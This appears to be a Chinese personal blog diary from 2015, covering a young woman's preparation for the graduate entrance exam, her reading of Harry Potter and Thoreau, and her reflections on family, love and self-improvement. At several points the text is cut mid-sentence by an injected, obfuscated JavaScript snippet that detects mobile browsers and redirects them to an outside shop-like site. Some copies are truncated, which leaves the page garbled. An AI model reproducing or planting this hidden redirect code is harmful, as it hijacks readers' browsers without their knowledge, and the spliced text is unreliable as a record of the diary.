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还有关于罗思的细节。他讨厌贫穷，他记得哈利借给他的钱，因为金币的消失耿耿于怀，他希望也得到穆迪的关注，他因为赫敏又吃醋。我想罗琳从未想过让哈利和赫敏在一起……哈利总是喜欢相貌出众的女生，先是秋张，后来是变美的金妮，他从未对赫敏有过什么想法……赫敏则鼓励和帮助金妮引起哈利的注意，给所有需要的人帮助，至于她何时爱上罗恩？我真心喜欢赫敏，我还因为她对付Ritar有了想法，报仇是要有资本和能力的，赫敏本身太强大！对了，我觉得哈利智商一般。 我觉悟，其实这么多年以来我仍旧是粘人的，并没有在恋爱关系中更独立，只是因为大山对我的包容。我所有的缺点能改进到今天，大部分是要感谢大山对我的包容的。所以说，其他男生只看到了我今天的好，换作是他们，他们无法让我变得这样好，所以，大山有我这样的他人眼中的好女友是他应得的。我们俩都是幸运的，遇见彼此，并做出巨大的改变，这换作其他人也是不可能的。在我们的关系中，他比我更理智，虽然我也算理智，但在粘人这个问题上，我或许在这四年有改好那么一小点吧……所以以我现在的状态，大部分男生会承受不了这种“粘”的程度吧！人生，也是神奇。 关于原谅自己和别人过去的这个问题，我有时候自己也说不清了。就那么一个人，因为父母的缘故，我不想去谈什么宽容，我想让她 pay for it。不过我太弱了，我想让很多坑过我父母的人Pay For it！我现在太弱了……可是我父母的事真的需要我一起承担吗？有的时候我也不确定。有的时候我也会有一些想法，可是我不确定这些想法是否邪恶，我觉得自己有时也没那么善良，可到头来却发现我比自己想像中善良多了……我爸妈说我是太善良……是吗？那为什么我会想让别人Pay？ “彩色的阳光”这个名字强到不行!我爸今天开始用百词斩学单词。我发现自己脾气确实变好了。今天原计划的休息好像没太成功……我不读书已经不太习惯了…… 2015年7月31日 星期五 晴 飞快地写日记！结束哈利·波特四，帮忙记起了很多细节，神奇的是很多章节我根本没有印象……我终于发现了哈利的优点，他勇敢，因为他面对了很多威胁和恐惧，他有很强的不屈服的精神，也就是气节，因为他成功抵抗了控制他的咒语，多少还是有优点的……赫敏发现了Ritar的桥段和我记忆中，好吧，我没有记忆…克鲁姆果真是被控制了才去袭击塞迪克，而这个男孩，我觉得普通，高贵品质？忽然觉得Fred和Ge和Thomas相似，这部书太精彩！我的词汇量确实该提高！ 104.家里蹲考研（4） 2015年8月1日 星期六 晴 最近一段时间我的入睡都出现了问题，这种感觉挺不好的。因为临睡时我的各种记忆就开始在脑子里蹦跳，连我自己都惊讶我的脑容量可以如此之大！我也想用一个冥想盆，用来梳理我所有的记忆，或许我真应该学会在学习新东西前进行暂时清空，因为我发现在学习的同时我的脑子往往还在进行活动，其他活动…… 昨晚的日记太仓促，忘了记下我发现的英文版间差异。我所有的英文版应该是在英国发行的（刚查了原书，上面写的是英国），可是和朗文有出入，但都是细微的差别。不过，当哈利的父母从伏地魔的魔杖中回弹出来的时候，顺序和描述都出了问题。书上是先母亲后父亲，哈利和父亲有着一样乱糟糟的头发，而朗文中是先父亲后母亲，似乎说的是哈利有着和母亲一样的眼睛。按照原理，哈利的父亲在母亲之前去世，所以最后出来的是父亲是对的，而我所买的书应该是修正过的版本。忽然想到我之前一直缺第一和第四部的英文版，直到大学，所以！ 然后就是我对活点地图的看法，好东西落到了坏人手里还是真可怕……以及小克劳奇追随伏地魔的理由：他们同样不幸，有了不爱自己的父亲！小克劳奇在描述他如何帮助哈利赢得“三强争霸”的时候确实侧面反映了哈利的缺点，不向纳威寻求帮助，告诉塞迪克比赛内幕，他确实是赢不了的……塞迪克也是，大家都是…… 状况真的是很糟糕，中午睡不着坐着看维密的秀。确实有可取之处，模特之间的对比也是非常明显，刘雯和几个世界排名前几的超模气场全开！后来我又看了刘雯2015春夏时装秀的集锦，欣赏不来，不过气场十足！ 人生就是这样，刚看了华东水利15年的分数线，考数二的水电院专业只要我不报375的农水，剩下的全是300以下，这就是命运，强压我一年。高考那年也是被强压，好，两次强压！大学这四年我挺过来了，越发成熟，气场也在积聚中。再考研这一年我一样可以！而且决不浪费！等我再次出现的时候已经领先了，数一算是对我人生弱项的挑战，英语一定要成为我的华丽装备！马哲我会努力学习，水力学是专业基础我也打牢！我决不会就此倒下，什么挫折失败统统不怕，我现在便满血复活去背单词！另，在一周前晾衣服的时候唱《彩虹》，唱到“释怀说了太多就成真不了”，心中顿悟……嗯，气场积聚中！我的学识和气场都要棒！ 2015年8月4日 星期二 晴 迎来了夏天最热的几天。我的渣状态又开始了……我发现这种持续时间超长的拉踞战般的努力很是消耗体力，我真的很痛苦，可是另一方面又习惯了。我满脑子在想关于英国旅行的事，可当我真的开始去查的时候，发现我知道的太少了。 先是被剑桥圣三一学院的信息吸引，然后看了剑桥的学制，总觉得港大应该和那是一样的，惊叹了神奇之后又回到英国旅行上，我对英国其实一无所知！而且似乎没有了当年去美国的那种勇气，我甚至有点不懂是为了什么？真的，除非去生活过，似乎也没有必要了解那么多。 世界好大，我真的好渺小，跟团旅行不能知道多少，自由行又需要勇气、时间和钱，我想体验的那种生活又是什么呢？去到WWF，英文比以前进步了，但还是有部分不理解。作为WWFer是不付现金的，用来交换的是食宿，时间和地点也是根据农场主的需求安排的。不管怎样，总算比以前又多了解了一点，我也不确定自己是不是打定主意要去了，但肯定会是很好的锻炼。我似乎没有以前那么愿意动了，压力好大。 2015年8月5日 星期三 晴 《倍克田庄》：梭罗依旧在与自然的接触中探索生命的真谛。有些自然的事物太美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473002|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，卑贱的人是不应该触碰的。梭罗有一句写小鸡的话：“（小鸡）在屋子里像家人一样大模大样地走来走去，跟人类太相似了，我想它们是烤起来也不会好吃的。”虽不敢说完全理解这句话的深意，但确实令人莞尔。 “忽然有一阵子我觉得我急于去捕捉核鱼的那种心情，对于这个上过中学，进过大学的人，未免太猥琐了。”我觉得好笑，笑的是梭罗的敢说敢想，和我，不，我们俩在这点上真的像极了。欲望太过强烈不是好事，所以梭罗会觉得自己猥琐？说实在，包括下一篇《更高的规律》，有些观点我现在是无法认同的。 “我们应该从远方，从奇遇、危险和每天的新发现中，带着新经验。新性格而回家来。”这句话或许也是我所追求的生活，这篇文章的最后则是断定某种人一生甚至这种人后代的局限性，我也同样对某些人在他们永不改观的前提下有过这种定论。 《更高的规律》：“州长和议员，道貌岸然，怎能去钓鱼？”这是我听过讽刺***最绝妙的话！那些满脑子利益的人是不懂享受自然乐趣的。 “使人惊奇的是他们，你，我，怎么能过如此卑劣的禽兽生活，只是吃吃喝喝。”梭罗强调了很久，人们因为想要咖啡和茶以及更多更好的食物而将自己的一生困在了里面，未曾思考。为了得到更多便要更努力地工作，工作累了便吃得更多，这种穷尽一生的生活梭罗认为是卑劣的。关于打猎，我的理解是通过接触自然见证死亡，从而真正学会悲悯和珍惜生命。我也有对自然的渴望和对生命的热爱，但我不同意为工作为食物而放弃对生活品质的追求。我认为有一定的物质基础就可以去追求更多的精神，我从未停止思考，但现在的我也无法接受过于清苦的生活。对于人的培养是会有惊喜的，我以前总是在想去雕琢别人，提升自己。然而这也是对自己的培养，我不也是给了自己很多惊喜吗？ 105.家里蹲考研（5） 2015年8月7日 星期五 暴雨 最近我对自己说的最多的一句话就是：不要急，稳住，努力是一个漫长而艰辛的过程，我要学会享受这个过程，或许我会把成线拉的很长很长，但我绝对不可以放弃。 感谢以前学长送我的那句话：“宁静致远，厚积薄发。”我要努力，把一切一点一点地积累起来，用一颗沉着平和的心去迎接每一天，一点一点地修炼和提升自我的学知、修养，气质。我就像是一座殿堂，而同样我也是自己的建筑师，我这一生便用来修筑自己的殿堂，先把脆弱的地方修补起来，再来装饰。不去和别人比，永远和自己比，今天的自己比昨天好，明天又会更好！我一定可以，少年立志，大器晚成！ 2015年8月12日 星期三 阵雨 《禽兽为邻》：我不太理解为什么会去关注蚂蚁间的战斗，但梭罗的记录激起了我对蚂蚁打架的好奇。我也是如此热爱自然中的一切，现在最容易做到的便是抬头去看看天空。梭罗写道潜水鸟的狂笑好似对他的嘲弄，这让我想到早年我写下的鸭子在狂妄地大笑～我不必刻意去让谁觉得我有趣，因为和我一样的人自然会走到一起。 拖欠了多日的英语终于又开始了，我当然是知道自己要从词汇开始积累，只是做起来不那么轻松。今天搞卫生的阿姨竟问起我托马斯是哪个国家的人，她好奇的是他为什么说的不是中文？我解释说每个国家的人都有自己的语言，这点居然让她大为惊愕。我忽然想到的是，我是否又真正了解中国？我有和各个阶层的人真正接触过吗？知道他们的情况吗？ 同样说到英语，BBC纪录片里5个英语好到爆的中国选去的初中老师，我此前一直在想，他们的英语怎么可以那么好？全英文给英国的中学生授课！直到我去看了纪录片（这里插播，我家的电视因为多缴了费，现在各种功能强大，居然连BBC的纪录片都有，还有各种电影、动漫，牛得不行！好好利用资源！）。这5个中国老师出自大城市的外国语学校，当我还在感叹某大学全英文授课的时候，大城市的部分小朋友从初中就已经开始全英文授课了……这是什么样的差距？我自知道路越发长远。 今年我二十二岁，在此之前我并没有意识到真正努力，积累，提升自我的意义，所以现在，我只能从新开始。我叫贾含真，现在的各种水平累加相当于跑在时代前列的小朋友六到八岁的水准（跟威廉对比，他是我想到的第一个人！），所以，我就像一个刚刚正式入学的孩子，要开始努力，然后，大概努力个十八年，到我四十岁，才可以弥补我落下的差距。我似乎懂得了为什么我在今年开始时间统计，为什么考研失败？为什么经历那么些挫折？为了今天的改变，为了今天的觉醒！好在目前我的综合底子还不算太烂。所以我要像海绵吸水一样，孜孜不倦地努力，之前的一切是为了我做心理准备。谢谢所有帮助过我的人！我又重新站起来，迈开步子，从现在的起点出发！ 我的脑子像是在放烟花，一个又一个的点子，潜意识里又有很多的欲望，所以我努力解读自己的欲望，尽量在现实中使它得到满足，这样它就不用在我梦中出现，从我梦中直面各种妖魔我意识到自己的内心越发强大起来。我的大脑需要充分的休息，我发现我每一次的学习间隔时间越长，效率就越高，看来有些东西确实是不能强求。一天学习九个小时也是没必要的，我在考虑如何选择几件有趣的事然后一直坚持下去，这样便可以找到其中交叉使我成为更独特的人。读英语目前是少不了的，阅读也是一定，那关于小提琴、舞蹈和练字呢？抄经也是，那动漫呢？边做边想！何况现在的时间也不至于那么充裕，我太希望自己过上期待已久的那种井井有条又充满乐趣的生活，现在的生活，我好像已经过上了这种日子！嗯！大部分已经吻合了，继续加油吧～ 2015年8月14日 星期五 阵雨 昨晚又是躺在床上很久不会入睡，好在今年过后性情变了很多，睡不着也不会急，换个想法思考（所以我深切怀疑是因为想太多睡不着…），结果我居然摸了自己的脚跟，发现上面粘着和劣制纸巾浸湿又干了后形成的纸屑一样手感的东西，好奇心油然升起，开灯！我的脚后跟在脱皮！超恶心的那种，然后我去客厅拔了一张面巾纸开始坐在床上撕皮，结果太多，撕不干净，而且我小心翼翼生怕弄痛了自己，作罢，关灯睡觉。今年四月份的时候我猛然发现自己身上在脱皮，肚子附近我永远想不到会脱皮的地方，还有手！我是在脱胎换骨吗？哈哈！ 来说说最近的梦。最近的梦是不会停的，五花八门。昨晚的梦让我知道内心对于考研成功的欲望有多么强烈。我对现在的处境肯定是不满的，所以一定一定要走出去！倒是前段时间我说了句很赞的话：“我只投资人！我自己，我爱的人，或许还有以后我的小朋友。” 我妈说我脚脱皮可能是传染了我爸的香港脚！！好吧！我要好好保护膝盖！ 学以致用：阅读、思考、行动相结合！ 2015年8月20日 星期四 晴 挣扎了一下，还是决定把日记写了，这么多天也攒了几件事，先说妈妈生日的事。今年的生日特别特别热闹，大家都说给我妈做五十岁生日，光是花就收了三束，蛋糕、千层糕、各种礼物和祝福纷至沓来。嗯，应该感觉不错。昨晚我把放了几天的花拆开摆花瓶，发现欧家哥哥送的大圆捧全是用纸张撑起的大，外表看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483873|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似漂亮，里面的花被纸层层包裹已经烂根了，睡莲全部救不活，从根烂到花托。我爸和我感慨了很久，觉得这包花的定不是爱花的人。 昨晚我竟花了2个半小时入睡，我推测是由于睡前看了数学视频，果真晚上不可以用电脑！听课效果棒啊！像我这种蠢人还是得听课……最近入睡确实是个问题，不过深睡时间挺不错的。周一去姜医生那号脉，除了湿气，我身体全面改善，从小米上的睡眠数据也可以看到，以前深睡以1小时为主，后来是2小时，现在是3小时。只是近1个月我的运动量下降，从今天开始要给补上去，肯定会越来越好的。 前几天什么都不想做，学习时间骤减，下了消消乐玩到凌晨……我玩消消乐都知道每关满三星才能前进，不然就一直停在这关达到三星为止，其实数学复习也是一样，达到一定基础才能前进，不可以一味贪快，脚踏实地才是真！ 以前做的不好事仍会一件一件往上冒，我想是不是我得把它们一件一件记下来，分析自己的弱点，然后才会真的过去（这是我难入睡的原因？）。在美国的时候，Adam曾把我安排在 drive- through窗口，可是我特别担心自己做不好，那时候英语不够好也是一部分原因吧！反正凡是顾客和我搭讪我就特紧张。有一特和善的大叔和我用一种我听不懂的语言对话，我居然把餐递给他后躲了起来求助Adam，结果把那大叔搞得很尴尬……Adam也是无奈……我也是醉了，当时太怂……实力才是硬道理，背单词！学英语！ 今早剪指甲，看到那裂开的盒子，想到这是某个暑假我污赖给表弟的事，因为不敢承担。顺带又想到小时候晨晨来我家住，我不肯让他多吃我家的软糖，否则就用指甲掐他。我天，我小时候是怎么了？这些事仍旧历历在目，我脑海里甚至可以浮现出当时的画面，我的占有欲和控制欲从小便达到了极致！可是在人前我却是个最乖的孩子，我想到《爸爸去哪儿了》里的夏天，她的家教极严，所以在爸爸不在身边的时候她就反弹，守护糖果任务做的最差，压抑太久是要释放的。总不可能捂得太严实，总是会漏一点出来。现在的我再也不会那样，可是小朋友又怎样确保不会那样呢？每个人都会犯错，要学会原谅。 1.物尽其用 2.易受外界影响波动 3.有新的想法及时记标题 4.接触了一点新事物就想去了解和事物有关的人，看这个人的样子，经历，扒他（她）的历史，也就是“娱乐八卦”…即钱钟书说的那种吃了一颗好吃的鸡蛋，就一定想看下蛋的鸡长什么样的人。 5.对于激情戏这种超有兴趣，简直是好奇宝宝，然后会觉得拍片的演员难道不恶心？ 106.家里蹲考研（6） 2015年8月22日 星期六 未知 我现在非常非常的愉快～但是该睡了，明早起来写具体。 醒来，完成昨晚应该写的日记。早上我做的第一件事便是刷完《绯闻女孩》的剧情，哇！真的好混乱！我喜欢的果真是Blair，超喜欢她阴谋家的感觉！最终B和S都有了美满的归宿。我记得Rufus的一句话：同一个故事，每个人的版本不同。所以不要觉得自己认为的才是事实真相，因为你的悲剧或许是别人的喜剧。 昨天我完成了5.7小时的数学学习，终于送出了给别人的毕业礼物，蹭完了6000步，大结局也是超赞！除了没背一个Word List的单词，我简直开心到不行！我果真是不可以在客厅坐下来，尤其是晚上，要么聊天要么电视，被外界轻易扰乱，我可怜的自制力！ 想通了一件事，我实在是管太多，在别人还没开口向我求助时我便迫不及待地去帮助别人了。每个人都有自己的人生路，走好走坏都与他人无关，所以我为自己定下新的帮人原则：除非别人开口，否则不帮。若他人不开口，那是他自己的问题，局限也由他自己突破；开口惯了的人不帮，我不是保姆，也有自己的事要做，自己先努力，不行再找我；小人不帮，在未能判定此人心性之前适当帮助。顿时觉得轻松多了，哪来那么多心思天天为别人家操心？先搞好自己吧！ 2015年8月24日 星期一 晴 越优秀圈子会越小，所以只要大家都努力往上爬，那么迟早会相遇，所以我不用花过多的时间去交际。其实现在的这种状态就挺不错的，只是很偶尔和关系好的朋友联系一下，会在一起终究会在一起，现在的我，没有什么资本天天去交标！当然，目前我身边也没有什么交际圈吸引我，我还处于低位，开始上爬。 2015年8月27日 1.我的眼是我最爱的相机，像素极高，超清！ 2015年8月30日 星期日 多云 最近看综艺，玩消消乐也是疯了！周五晚上是《爸爸去哪儿》，轩轩被摔在地上无数次，他爬起来又上，不哭不闹不发脾气，一个四岁不到孩子的表现让我动容。小朋友一定要让他体验各种场景，才知道他真正的性格表现，其实大人也一样，设置了多种多样的场景体验才会知道这个人到底怎么样。就像连我自己都不知道我会有怎样的表现。到目前为止，这几年我给了自己很多惊喜，可是如果发现表现不行，我要学会接受自己，然后更加努力！体验多了总是更好。 昨晚是《偶像来了》，我第一次看，但看到T台秀部分却激动不已。走得好看的真的太有气场！林青霞已经六十多了，可是依旧优雅大方，衣品没得说！容颜总会老去，但气质会越来越好。我想我一定要更加努力才行！我妈说，从这次暑假回来，我是真的变美了，但昨晚试衣服却发现屁股坐扁了……身体，青春，我都要保住！所以从现在开始，坚持啊！具体列在日历上，“女神”算了，那叫“修炼记”好了。 也许是数学真的花上了一定时间吧！我已经初步形成了逻辑思维，凡事都喜欢先观察找规律，理性思维逐步形成！而且脑子也越来越清醒，真正的行动也越来越多，感觉到自己各方面都在变好！关于未来，未来十三年（即到我三十五岁前）不考虑买房，这样我的未来生活根本没有压力。我只需要专心学术，剩余的钱和父母爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不写这篇日记我估计会被自己憋死…… 从小我就喜欢“公益活动”这种东西，但看了《纸牌屋》后又对这项事业多少有点颠覆，加上一个人力量的微小，经历种种，在这之前很长的一段时间，我的人生目标有三：1.尽可能遇见不同的人，经历不同的事；2.和爱的人去周游世界；3.尽自己所能去帮助需要帮助的人和保护环境。可是，我一直在改变，现在的我发现这三个目标并不能很好地表达我的全部。 对于“1.”我希望多去经历，让自己丰富起来，强大起来，那么光体验是不够的，还需要思考，但仅仅是体验和思考吗？不，我一闭眼就想如何让自己变得更优秀，如何努力往上爬，那么就一切归结于：提升自我！去经历去体验去思考都是途径，目的是提升自己； 对于“2”其实和“1.”多少有点重复了，而且我不止想去旅行，要和我爱的人一起做许许多多想做的、喜欢的事，我们要一起分享生活的点滴乐趣，又何止是一起去周游世界？人生便是一场旅行。生活的情趣、品质、爱人，这些全部加在一起便是：享受生活！ 对于“3.”用“回馈社会”来概括便好。所以，“提升自我，享受生活，回馈社会”这便是我的人生目标，三点不分先后，我对这个世界充满了好奇，对生命充满了热爱，每想到这一点便让我心潮澎湃。 身体仍是我前进的保障，我生活中的低谷大多源于我急躁。考研复习每天5到6小时是我的舒适区，超过了身体便开始难以承受，我一边愤恨一边去加量，导致身心俱疲。积累，有效率地积累非常重要，我不用急，踏实学好每一小节，假使今年仍旧没上，我还有身体继续努力，且稳扎稳打地积累着知识，所以，明年真的去英国吗？还是待在学校学习，可以权衡一下了，我心态好的时候说的话想的事真棒！ 再者是父母对我的教育问题，父母对我从小的直接教育有部分是不适合我的，从我内心来讲，我不是一个传统意义上的乖孩子。但是，由于我父母本身的为人，这种间接教育，对我产生了大的影响，包括永不言弃、为人正直善良，这些品质是非常感谢我的父母！ 真正意义上来讲，我是从大学后期开始成为我心中的“优秀”女生的，这里有几个要感谢的理由： 1.坚持阅读。阅读带给我的是别人的人生体验和思考。在大学以前我的阅读大多停留在可读性，上大学后才开始了阅读后的思考，从而一通百通开始了各种体验后的思考，这些都逐步形成的。《牧羊少年奇幻之旅》算是我的哲学启蒙；而后是《平凡的世界》，这本书让我深深震憾，有大气磅礴，荡气回肠之感；但在看过《黄金时代》后，我又认为《平凡的世界》只是一本平凡出彩的书，这本书让我的阅读提升了一个境界；《一九八四》颠覆了我的很多想法，天才之作；《国境以南，太阳以西》帮我释怀，感觉这本书为我而写。以上是对我起到“转折”影响的书，这里还有一部：《哈利·波特》，让我爱上阅读！包括后来对这部书的反复阅读，英文版对于我英文的帮助等等，我爱阅读！甚至我现在努力在学习的《数一全书》和《考研词汇》，好书！ 2.知乎。知乎打开了上层社会的大门，我终于通过玄关镜面的反射窥见了一点“精英”的生活，我不再是盲目地去想象那些人的生活和思想。接触到这些会更有向上的动力，哲学真的会让人更加轻松和愉快； 3.我身边的几个性情温和的朋友和父母对我的影响。 我变了，变了很多很多。向上爬成为有影响力的人有助于完成我的人生目标，不确定能否这样说，但这是必须的。我现在深深地满意。 2015年9月16日 星期三 晴 在我记忆中像今天这样的头痛还有两次，一次是去年在大村庄，一次是小学。我脑像是要炸开，听到每一点细微的声音就更加难受，我觉得全身每一块骨头都是酸软的。昨晚我睡不着，很多个晚上我都难以入睡，是神经紧张吗？ 我本想早上睡一个早上，可我想到有阿姨来搞卫生，还有要焖中午的饭，这是什么啊！我爸每天都不用担心吃饭的问题，他只需要通知我和我妈回不回来吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这么多年来，只要我想，很多愿望都会在多年实现。小学期待不近视，高中毕业实现。很小的时候（小学？初中？）期待可以带自己的外国朋友来县城玩（那时候县城外国人太小，现在也少……还是因为从小太期待出国？原因不记得），今年，大学毕业实现了。大学偶然看了一次越南攻略便超想去，结果也去了！我的人生真的很不错！本来只想快速地记下几个想法，结果……隔壁校运会好吵，又让我想起很多，可是人生是往前走的，不是吗？原谅自己和别人吧！ 108.家里蹲考研（8） 2015年10月18日 星期日 晴 好久没有写日记了。过了十几年，我再一次参加婚宴，这种感觉还是很神奇。很少有让人如此喜欢的吃饭氛围，对方的言谈举止儒雅大气，是我渴望已久的书香门第之家。我的人生路还很长，要努力往前走。 随便一折腾我便累了。明早去做彩超，身体这件事我以前是太马虎了。现在天天看病吃药，这几年把病痛都过去吧！我要坚强！ 新萌生的想法，以前认为从16年开始，也就是妈妈五十周岁开始，要每年带妈妈去旅行。现在逐渐发现，其实很难，费用问题，早些年是很难解决的。所以，不如每年带妈妈和爸爸去体验一些新鲜的事物，比如现在可以提上日程的便是带父母去听一场演唱会，就明年吧！可以买看台票，比旅游便宜，又可以有新的体验。事要一件一件的做，我会为爱我，我也爱的人尽量多做。 我有很多缺点，也在一点一点地改，可我还是不够包容，比如接受不了外国男友，哈哈！我会想记下我的一点一滴的改变，或许我的后代看到这些会有所启发和安慰，会接受自己的不足，并愿意为更好的自己做改变。 考华东水利我永久不会放弃，这条路我一定走下去，调整心态，努力！ 2015年9月30日 星期五 雨 只不过连续几天的6小时我就累了，我想身体原因是有一部分，但心理上也跑不了。昨天我把 ihour 上“英剧电影动漫邮件”项共30小时，坚持了37天给删了，忘了截图TAT。剩下的所有时间便都是实实在的我认为的“正经事”了！ 我很高兴自己在对自己喜欢的事物上学到很多这一点，或许很多人都可以做到，不过我仍旧为自己骄傲。《神探夏洛克》是我看的第一部英剧，大爱！最近开始看的是《唐顿庄园》，大约每天晚饭后半小时到一小时。英国贵族的生活我从未认真去了解过，唐顿多少让我有了一点了解。当然，我被Mary的气质惊艳！举手投足的Lady！然后我去解了一些背景，把我自己也当作一个角色融进去。我想我真的应该把我自己为自己设定的角色写下来，而不是只让它停在脑子里作我的睡前消遣，那样一定非常有趣。 很多东西只看一遍只能有模糊的印象，可反复去看学习就收获多多，留在脑子里的好观点会对我们的行动产生积极影响。比如字幕组的问题我一定是第二次在“知乎”上看了，我以前没有过多去想关于中英字幕的问题，原来这对一个真正的英（美）剧迷来说至关重要！我……我从未专业过，我在一个方面甚至一个问题上从未（这个词过重了，偶尔极少我好像有过，不过极少……）专业过，我想做那种专业的人，至少在一个领域！那是因为在这之前我未曾在一件事上花费大量时间，目前在我所做的所有事情中我都是业余的，只是知道皮毛，快让我哭一会儿TAT。不过只要意识到便永远不晚！ 说来也奇怪，最近在收集纸壳时忽然想到了“知乎”上”一个让人惊艳的设计”的问题，答主说在日本，她会把喝过的牛奶纸盒拆开洗净（日本人有很多干这事吧，当然不是全部，至少有）用作废纸回收，在牛奶盒里侧会写着：“感谢您为环保作出的贡献。”哇！答主和我在这方面是一趴人！行为和小心思，啧啧！所以我想到的是我们收集废纸不是为了钱（太少……），至少是要学会为环保做自己能做的事。中国的环保不应该从垃圾分类做起吗？我小时候也卖牛奶纸盒，但绝对为了钱！ 大山在开始研究生生涯后变化很大，以前的大部分时间是用我的眼去看，我的心去感受，然后我们俩一起分享，现在，他也开始用自己的眼去看，有更多的思考。我们俩像是共同组成的小世界，如果能这样用两双眼、两颗心一起努力，那么这个小世界会更丰富更美妙。我想这是我真正追求的情感关系，我们会越来越好的，不是吗？在考研期间，多少应该就考研说点什么。嗯，一切都在可控范围，就酱～ 2015年10月31日 星期六 雨 先来写观后感吧！算了，按顺序……《唐顿庄园》第一季结束，我忽然发现我并不懂第一次世界大战的状态，这明明是历史学过的……于是我去查了一下，顺带科普（用这个词……我真记不得学过的具体内容了！）第二次世界大战。我发现我是割裂地看历史的，我学过中国历史，学过西方历史，可是从未把它们放在一起过，没有过全局观，没有联系起来，所以不知道第一次世界大战中国在干嘛？不知道唐朝时期的欧洲又是怎样？可是，我又在想，我为什么要知道历史？读史明鉴，哦，那到底是为了什么？我又百度这个问题，搜到了龙应台在台大法律系的演讲，我天！我长期未看过如此精妙的文章！ 文学、哲学、史学、文学使你“看见”：“坏的作家暴露自己的愚昧，好的作家使你看见愚昧，伟大的作家使你看见愚昧的同时认出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521478|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的原型而涌出最深刻的悲悯。”我甚至不敢说我真心热爱文学……；我们身处迷宫，哲学是望着星空所发出来的天问。当然，我已经意识到文学和哲学的重要，也开始了努力和尝试，但是对于历史，我仍愚昧。历史，是为了知道它的起点，没有一个现象是孤立存在的。我喜欢她举的例子，我们从小认为所谓西方文化就是开放的、民主的，可用自己的脑子去研究一下，你就大吃一惊，文艺复兴前后，启蒙运动前后都是不同的（这里我想强调的是用自己的脑子去研究）。还有便是我们洋洋自得领会的道理古人在千年以前便习得了。我这是在要求自己全面发展，不是么？ 吃了晚饭回来继续，《唐顿庄园》让我想了很多，主要是做人。想害人实在是太容易了，即使你是一个正直的好人也保不齐会被误解、被害。每个人都有历史，可是从不同角度去看也会不同，比如贝茨认罪，可他却是一个正直的人，或许别人真的有难言之隐，然后便是不要做坏事，我天！太容易被别人抓小辩。以上我的思路混乱得可怕……总结：不做亏心事以防日后自己后悔以及被别人利用，二则是不轻易对一个人下判断，眼前的好人或许有不堪的过去，学会原谅，不去追究过去，显然，大山这点做的很好。 关于父母，我又有了更加完善的想法。在我有孩子之后我会把精力集中在孩子身上（我妈总是这么说，我可不敢打赌我以后不会这样……），所以在现在我还没有孩子的时候，我可以把精力放在父母身上。当然花父母的钱带他们去体验，和父母沟通过，父母表示这些钱终归让我花，如果我愿意花在他们身上，他们很感动～哇！我们家真幸福～关于爱人，我们一起做的所有事只会让我们更相爱。 今天我爸给了我一个惊喜，他说他看了《性学报告：情爱篇》，开始反思他以前对我妈的态度，是否真的关心她在想什么，需要什么，他是太自私了，所以他在思考以后要怎么做。这本书是我下载在电子书里，显然书名很是吸引人，哈！当然在我看了《性学报告：女人篇》后就知道，内容和我想的不是一回事儿～～我把pad给我爸看书是最好的行为之一！书真是好东西，我也为我自己骄傲！ 大山在华东水利百年校庆寄给我的明信片也是巨大的惊喜，他现在也忍不住要提前告诉我了，哈哈！以前主要看小说也是消遣，日后的任务会繁重起来吧！四十岁以后，再过二十年，我会成为我想要成为的人，只要我一直努力。 109.家里蹲考研（9） 2015年11月1日 星期日 雨 我非常开心自己慢慢地开始做一些“反复”的事，比如第二遍认真过《水力学》，第二遍复习数学笔记，翻看以前的日记、照片。留下作纪念或是做重点标记要为以后的回顾作提示，可不去“反复”的话以前做的一切都失去了意义，比如我重新去看收藏夹里知乎的问题，我会有很多新的收获。以前的我就是太不愿意去反复了，总想去尝试更多新的东西，可连手头上已有的都做不好，尝试那么多又能怎样呢？我想，把一本单词本背很多遍会比背很多本有意思的多，我开始逐渐体验“反复”的乐趣。 2015年11月11日 星期三 雨 到了还剩45天的日子了，一切按部就班的进步，考研的事上要一直加油！ 